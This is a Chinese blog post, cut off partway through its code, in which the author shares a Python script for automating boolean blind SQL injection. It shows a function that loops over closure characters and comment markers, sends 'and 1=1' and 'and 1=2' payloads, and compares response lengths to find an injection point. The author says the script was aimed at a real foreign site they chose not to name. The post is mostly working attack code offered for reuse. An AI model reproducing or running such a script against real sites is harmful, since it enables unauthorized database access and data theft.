昨天找到一个无回显的站不想手工(只要还是菜和懒),就突发奇想写个这东西,一边打cs一边写,队友太坑了,按照自己思路很就把代码一股脑写好了,但是本人代码习惯不好,不是写一个函数测一个函数,测试的时候搞了一个通宵一直找不到错误,哈哈哈,判断函数就写错了,然后恍然大悟,url我直接写的%20 %27这种,因为之前都是浏览器测的,而脚本不是像浏览器一样先进行一次url解码所以错了
用到的库
import requests,base64,time,threading,logging,datetime,math,re
from urllib import parse
from bs4 import BeautifulSoup
其实是用多了,因为之前的思路太麻烦,用时间盲注太麻烦了,布尔就行,哦,对了,url你们就自己找一个吧,我的这个不敢放出来,虽然我找的是老外的
判断闭合方式和是否有注入函数
def judge_can_inject(url):#判断闭合方式和是否有注入
close_method_list = ["'",'"',")","')'",'")']#闭合方式' " ) ') ")
annotation_method_list = ['#','--+']
for close_method in close_method_list:
for annotation_method in annotation_method_list:
payload1 = str(1) + str(close_method) + " " + "and 1=1 " + str(annotation_method)
payload2 = str(1) + str(close_method) + " " + "and 1=2 " + str(annotation_method)
result1 = request_get(url,payload1)
result2 = request_get(url,payload2)
result = request_get(url,'1')
soup = len(result)
soup1 = len(result1)
soup2 = len(result2)
if (soup == soup1) and (soup1 != soup2):#通过响应Length来判断是否有注入
log('恭喜你存在注入点')
log('闭合字符为' + close_method)
log('注释字符为' + annotation_method)
return True,close_method,annotation_method
break
效果
完整代码
import requests,base64,time,threading,logging,datetime,math,re
from urllib import parse
from bs4 import BeautifulSoup
def log(content):#打印日志
this_time = time.strftime('%H:%M:%S',time.localtime(time.time()))
print("["+str(this_time)+"]" + content)
return
def make_url(url,payload,x,or_base64):#x为id的值,就是id=x
if(or_base64 == 'Y' or or_base64 == 'y'):
url = str(url + str(base64_encode(